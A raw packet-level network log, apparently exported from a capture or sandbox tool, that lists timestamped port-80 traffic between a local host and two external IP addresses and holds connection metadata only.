Nov 15, 2024 09:10:21.800713062 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:21.800751925 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:21.800770044 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:21.800796986 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:21.800813913 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:21.800831079 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:21.800849915 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:21.800858021 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:21.800875902 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:21.800970078 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:21.800985098 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:21.801033974 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:21.841298103 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:21.841316938 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:21.841332912 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:21.841391087 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:21.874885082 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:21.874955893 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:21.874969959 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:21.874986887 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:21.875003099 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:21.875021935 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:21.875042915 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:21.875288963 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:21.875302076 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:21.875355005 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:21.875401974 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:21.875464916 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:21.875482082 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:21.875504971 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:21.875524998 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:21.875525951 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:21.875921011 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:21.875967979 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:21.875983953 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:21.876020908 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:21.876049042 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:21.876055002 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:21.876072884 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:21.876111984 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:21.918452978 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:21.918481112 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:21.918503046 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:21.918531895 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:21.918549061 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:21.918554068 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:21.918689966 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:21.918708086 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:21.918709993 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:21.918732882 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:21.918756008 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:21.918807030 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:21.918996096 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:21.919179916 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:21.919194937 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:21.919226885 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:21.958795071 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:21.958822012 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:21.958837986 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:21.958903074 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:21.992100954 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:21.992146969 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:21.992162943 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:21.992257118 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:21.992284060 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:21.992299080 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:21.992412090 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:21.992464066 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:21.992465973 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:21.992480040 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:21.992523909 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:21.992563963 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:21.992588997 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:21.992655993 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:21.992661953 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:21.992677927 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:21.992986917 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:21.993369102 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:21.993381977 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:21.993429899 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:22.034989119 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:22.035021067 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:22.035037041 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:22.035062075 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:22.035128117 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:22.035145044 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:22.035175085 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:22.035250902 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:22.035305023 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:22.035330057 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:22.035347939 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:22.035382986 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:22.035412073 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:22.035429001 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:22.035501957 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:22.035506010 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:22.035521984 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:22.035561085 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:22.036160946 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:22.075891018 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:22.075913906 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:22.075930119 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:22.076045036 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:22.094810963 CET	80	49806	162.55.60.2	192.168.2.10
Nov 15, 2024 09:10:22.094844103 CET	80	49806	162.55.60.2	192.168.2.10
Nov 15, 2024 09:10:22.094861031 CET	80	49806	162.55.60.2	192.168.2.10
Nov 15, 2024 09:10:22.094876051 CET	49806	80	192.168.2.10	162.55.60.2
Nov 15, 2024 09:10:22.094908953 CET	49806	80	192.168.2.10	162.55.60.2
Nov 15, 2024 09:10:22.094950914 CET	80	49806	162.55.60.2	192.168.2.10
Nov 15, 2024 09:10:22.094966888 CET	80	49806	162.55.60.2	192.168.2.10
Nov 15, 2024 09:10:22.094983101 CET	80	49806	162.55.60.2	192.168.2.10
Nov 15, 2024 09:10:22.094999075 CET	80	49806	162.55.60.2	192.168.2.10
Nov 15, 2024 09:10:22.095030069 CET	49806	80	192.168.2.10	162.55.60.2
Nov 15, 2024 09:10:22.095051050 CET	49806	80	192.168.2.10	162.55.60.2
Nov 15, 2024 09:10:22.095088005 CET	80	49806	162.55.60.2	192.168.2.10
Nov 15, 2024 09:10:22.095103025 CET	80	49806	162.55.60.2	192.168.2.10
Nov 15, 2024 09:10:22.095119953 CET	80	49806	162.55.60.2	192.168.2.10
Nov 15, 2024 09:10:22.095148087 CET	49806	80	192.168.2.10	162.55.60.2
Nov 15, 2024 09:10:22.095160961 CET	49806	80	192.168.2.10	162.55.60.2
Nov 15, 2024 09:10:22.099881887 CET	80	49806	162.55.60.2	192.168.2.10
Nov 15, 2024 09:10:22.099910975 CET	80	49806	162.55.60.2	192.168.2.10
Nov 15, 2024 09:10:22.099956989 CET	80	49806	162.55.60.2	192.168.2.10
Nov 15, 2024 09:10:22.099972010 CET	80	49806	162.55.60.2	192.168.2.10
Nov 15, 2024 09:10:22.100014925 CET	49806	80	192.168.2.10	162.55.60.2
Nov 15, 2024 09:10:22.100044012 CET	49806	80	192.168.2.10	162.55.60.2
Nov 15, 2024 09:10:22.109417915 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:22.109432936 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:22.109447956 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:22.109509945 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:22.109560013 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:22.109574080 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:22.109620094 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:22.109683037 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:22.109724045 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:22.109757900 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:22.109774113 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:22.109813929 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:22.109827042 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:22.109869957 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:22.109981060 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:22.110327959 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:22.110389948 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:22.110405922 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:22.110455036 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:22.152395010 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:22.152420998 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:22.152437925 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:22.152446985 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:22.152484894 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:22.152553082 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:22.152570009 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:22.152586937 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:22.152627945 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:22.152631998 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:22.152647972 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:22.152671099 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:22.152739048 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:22.152754068 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:22.152802944 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:22.153177023 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:22.153223038 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:22.153234005 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:22.153239965 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:22.153285027 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:22.153301954 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:22.153347015 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:22.153390884 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:22.193124056 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:22.193187952 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:22.193202972 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:22.193217993 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:22.193260908 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:22.193304062 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:22.222429991 CET	80	49806	162.55.60.2	192.168.2.10
Nov 15, 2024 09:10:22.222448111 CET	80	49806	162.55.60.2	192.168.2.10
Nov 15, 2024 09:10:22.222465038 CET	80	49806	162.55.60.2	192.168.2.10
Nov 15, 2024 09:10:22.222486973 CET	49806	80	192.168.2.10	162.55.60.2
Nov 15, 2024 09:10:22.222520113 CET	49806	80	192.168.2.10	162.55.60.2
Nov 15, 2024 09:10:22.222553015 CET	80	49806	162.55.60.2	192.168.2.10
Nov 15, 2024 09:10:22.222615004 CET	49806	80	192.168.2.10	162.55.60.2
Nov 15, 2024 09:10:22.222615957 CET	80	49806	162.55.60.2	192.168.2.10
Nov 15, 2024 09:10:22.222632885 CET	80	49806	162.55.60.2	192.168.2.10
Nov 15, 2024 09:10:22.222671986 CET	49806	80	192.168.2.10	162.55.60.2
Nov 15, 2024 09:10:22.222985029 CET	80	49806	162.55.60.2	192.168.2.10
Nov 15, 2024 09:10:22.223036051 CET	80	49806	162.55.60.2	192.168.2.10
Nov 15, 2024 09:10:22.223052025 CET	80	49806	162.55.60.2	192.168.2.10
Nov 15, 2024 09:10:22.223098993 CET	80	49806	162.55.60.2	192.168.2.10
Nov 15, 2024 09:10:22.223103046 CET	49806	80	192.168.2.10	162.55.60.2
Nov 15, 2024 09:10:22.223212004 CET	49806	80	192.168.2.10	162.55.60.2
Nov 15, 2024 09:10:22.223623991 CET	80	49806	162.55.60.2	192.168.2.10
Nov 15, 2024 09:10:22.223649025 CET	80	49806	162.55.60.2	192.168.2.10
Nov 15, 2024 09:10:22.223809958 CET	49806	80	192.168.2.10	162.55.60.2
Nov 15, 2024 09:10:22.226571083 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:22.226610899 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:22.226627111 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:22.226686001 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:22.226819992 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:22.226844072 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:22.226870060 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:22.226890087 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:22.226913929 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:22.226988077 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:22.227001905 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:22.227052927 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:22.227194071 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:22.227262974 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:22.227277994 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:22.227294922 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:22.227335930 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:22.269370079 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:22.269387007 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:22.269450903 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:22.269503117 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:22.269504070 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:22.269520998 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:22.269685030 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:22.269711971 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:22.269772053 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:22.269876003 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:22.269901037 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:22.269922018 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:22.269925117 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:22.269941092 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:22.269972086 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:22.270021915 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:22.270376921 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:22.270404100 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:22.270420074 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:22.270431042 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:22.270488977 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:22.270514965 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:22.270531893 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:22.270548105 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:22.270600080 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:22.271172047 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:22.271193027 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:22.271209002 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:22.271250010 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:22.271280050 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:22.310441971 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:22.310470104 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:22.310486078 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:22.310513020 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:22.343852043 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:22.343858957 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:22.343918085 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:22.344041109 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:22.344068050 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:22.344089031 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:22.344172955 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:22.344189882 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:22.344207048 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:22.344229937 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:22.344247103 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:22.344254971 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:22.344270945 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:22.344316006 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:22.344708920 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:22.344722033 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:22.344759941 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:22.386535883 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:22.386560917 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:22.386607885 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:22.386624098 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:22.386662006 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:22.386678934 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:22.386717081 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:22.386729002 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:22.386768103 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:22.387067080 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:22.387080908 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:22.387119055 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:22.387167931 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:22.387236118 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:22.387250900 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:22.387296915 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:22.387464046 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:22.387509108 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:22.387511015 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:22.387525082 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:22.387564898 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:22.387629986 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:22.387645960 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:22.387665033 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:22.387687922 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:22.388178110 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:22.388226032 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:22.388226986 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:22.388242006 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:22.388289928 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:22.428040981 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:22.428071022 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:22.428091049 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:22.428108931 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:22.428128004 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:22.428148985 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:22.428196907 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:22.461394072 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:22.461436987 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:22.461446047 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:22.461452961 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:22.461457014 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:22.461539984 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:22.461556911 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:22.461580992 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:22.461611032 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:22.461671114 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:22.461697102 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:22.461713076 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:22.461734056 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:22.461756945 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:22.503926039 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:22.503961086 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:22.503978968 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:22.504044056 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:22.504050970 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:22.504069090 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:22.504093885 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:22.504168987 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:22.504188061 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:22.504204988 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:22.504251957 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:22.504336119 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:22.504362106 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:22.504409075 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:22.504498005 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:22.504537106 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:22.504554987 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:22.504595995 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:22.504647017 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:22.504663944 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:22.504682064 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:22.504705906 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:22.504719973 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:22.504780054 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:22.504795074 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:22.504837990 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:22.505351067 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:22.505366087 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:22.505429029 CET	49795	80	192.168.2.10	190.107.177.80
